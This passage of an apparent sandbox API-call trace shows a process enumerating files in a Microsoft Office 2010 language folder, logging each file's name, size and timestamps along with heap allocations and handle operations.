ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPickerIntl.dll", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0069.428] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="")) returned 1 [0069.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.460] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.460] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x106dbc0 [0069.460] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.460] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.460] NtClose (Handle=0xec) returned 0x0 [0069.460] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.460] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.460] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.460] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.460] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.480] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.480] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="")) returned 1 [0069.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1063ed8 [0069.480] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.480] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e818 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10640e8 [0069.481] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.481] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="")) returned 1 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.481] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.481] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e838 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10641f0 [0069.481] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.481] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5811c800, ftCreationTime.dwHighDateTime=0x1bff783, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5811c800, ftLastWriteTime.dwHighDateTime=0x1bff783, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.481] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.481] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.481] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e858 [0069.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10642f8 [0069.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.482] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0069.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e878 [0069.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064400 [0069.482] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.482] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 0 [0069.482] GetLastError () returned 0x12 [0069.482] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.482] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.482] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.483] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="")) returned 1 [0069.483] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="")) returned 1 [0069.483] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5811c800, ftCreationTime.dwHighDateTime=0x1bff783, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5811c800, ftLastWriteTime.dwHighDateTime=0x1bff783, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0069.483] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0069.483] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 0 [0069.483] GetLastError () returned 0x12 [0069.483] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.483] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1063ed8) returned 1 [0069.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.gta", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion14.gta", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff9500, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf0ff9500, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb9dc00, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4bb9dc00, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x388e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xc990, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITRES.DLL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.484] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, 